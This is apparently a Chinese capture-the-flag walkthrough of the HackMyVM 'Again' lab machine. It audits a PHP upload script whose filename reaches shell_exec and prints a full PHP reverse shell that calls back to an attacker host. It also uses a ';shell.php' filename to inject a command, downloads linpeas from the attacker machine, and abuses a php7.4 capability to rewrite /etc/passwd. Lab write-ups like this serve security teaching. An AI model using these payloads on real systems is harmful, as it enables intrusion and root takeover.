靶机信息
下载地址:
- https://hackmyvm.eu/machines/machine.php?vm=Again
网盘链接:https://pan.baidu.com/s/1MYO7cEOg2xou1FrC40v6qg?pwd=ja7r
靶场: HackMyVm.eu
靶机名称: Again
难度: 困难
发布时间: 2021年10月11日
提示信息:
- 无
目标: user.txt和root.txt
实验环境
- 攻击机:VMware kali 10.0.0.3 eth0桥接互联网,eth1桥接vbox-Host-Only
靶机:Vbox linux IP自动获取 网卡host-Only
信息收集
扫描主机
扫描局域网内的靶机IP地址
- sudo netdiscover -r 10.0.0.0/24 -i eth1
扫描到主机地址为10.0.0.117
扫描端口
扫描靶机开放的服务端口
- sudo nmap -sC -sV -p- 10.0.0.139 -oN nmap.log
扫描到开放22和80端口,先来看看80端口
Web渗透
访问后只有一个上传功能,打开源码后发现一段提示“Kerszi,删除.bck文件”,来做个目录扫描查找.bck文件
- gobuster dir -w ../../Dict/SecLists-2022.1/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.0.0.139 -x bck
发现upload.bck文件,尝试下载
- wget http://10.0.0.139/upload.bck
来看看upload.bck是什么文件
- file upload.bck
php脚本文件,查看下内容
PHP代码审计
- <?php
if (!isset($_FILES["myFile"])) {
die("There is no file to upload.");//判断是是否有文件上传
}
$filepath = $_FILES['myFile']['tmp_name'];//文件路径
$fileSize = filesize($filepath);//文件大小
$fileinfo = finfo_open(FILEINFO_MIME_TYPE);//通过MIME判断文件类型
$filetype = finfo_file($fileinfo, $filepath);
if ($fileSize === 0) {
die("The file is empty.");//判断文件是否为空
}
$allowedTypes = [
'image/jpeg' => 'jpg',
'text/plain' => 'txt'
];//文件类型
if (!in_array($filetype, array_keys($allowedTypes))) {
echo $filetype;
die("File not allowed.");//如果上传的文件不在$allowedTypes中结束
}
$filename = basename($filepath);
$extension = $allowedTypes[$filetype];
$newFilepath = $_FILES['myFile']['name'];
if (!copy($filepath, $newFilepath)) {
die("Can't move file.");//将临时目录下的文件复制到到当前目录
}
$blacklistchars = '"%'*|$;^`{}~\#=&';
if (preg_match('/[' . $blacklistchars . ']/', $newFilepath)) {
echo ("No valid character detected");//检查上传文件名是否包含'"%'*|$;^`{}~\#=&'这些字符,如果没有退出
exit();
}
if ($filetype === "image/jpeg"){ //如果上传的是图片
echo $newFilepath;
$myfile = fopen("outputimage.php", "w") or die("Unable to open file!"); //打开一个可写文件
$command = "base64 ".$newFilepath;
$output = shell_exec($command); //将文件bash64编码后执行
unlink($newFilepath); //删除文件
echo "File uploaded";
$lol = '<img src="data:image/png;base64,'.$output.'" alt="Happy" />';
fwrite($myfile, $lol);
}
else{ //如果上传文件不是jpeg那就是text
$myfile2 = fopen("outputtext.txt", "w") or die("Unable to open file!"); //打开一个可写文件
$command = "cat ".$newFilepath; //执行cat 命令将文件内容给变量$command
$output = shell_exec($command); //执行$command,
unlink($newFilepath); //删除文件
echo "File uploaded";
fwrite($myfile2, $output); //将执行结果写入outputtext.txt
}
?>
看完源码,需要将webshell伪装mime为txt文件并且文件名要包含'"%'*|$;^`{}~\#=&'
,最后要保证文件不能被删除,来验证一下。
1。准备一个反弹shell
shell.php
- <?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.0.0.3'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$stringn";
}
}
?>
2。修改文件名字和mime类型
- cp shell.php ;shell.php
3。修改;shell.php文件在最上方添加“RANDOM TEXT TO MAKE THE SCRIPT THINK IT IS A TEXT FILE”字符串。
- vi ;shell.php
4。攻击机监听4444端口
- rlwrap nc -lvvp 4444
5。上传并访问shell
上传后提示No valid character detected,不用管继续访问shell
- http://10.0.0.139/;shell.php
反弹成功,来找找敏感信息
- cd /var/www/html
ls
cat id_rsa.bck
找到id_rsa的备份文件,把他下载下来
- wget http://10.0.0.139/id_rsa.bck
下载完继续找敏感信息
- cat /etc/passwd
发现一个可登录的用户,尝试用key登录SSH
- chmod 600 id_rsa.bck
需要密码,上传辅助脚本检查
1。攻击机在辅助脚本目录下开启HTTP服务
- python3 -m http.server
2。靶机下载脚本linpeas.sh并执行
- cd /tmp
wget http://10.0.0.3:8000/linpeas.sh
- chmod +x linpeas.sh
./linpeas.sh
发现/usr/bin/php7.4拥有特权,来看看php如何提权
- https://gtfobins.github.io/gtfobins/php/#capabilities
可以修改其他文件权限,验证一下
- php7.4 -r 'chmod("/etc/passwd", 0666);'
拿到passwd的读写权限,生成密码修改passwd文件中root的密码
1。生成md5加密密码
- openssl passwd -1 123123
2。修改passwd文件
修改完成,切换到root用户
- su
id
拿到root权限,找找flag
- cat /home/kerszi/user.txt
cat /root/r00t.txt
拿到user.txt和r00t.txt,游戏结束
原文始发于微信公众号(伏波路上学安全):渗透测试练习No.74 HackMyVm Again
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论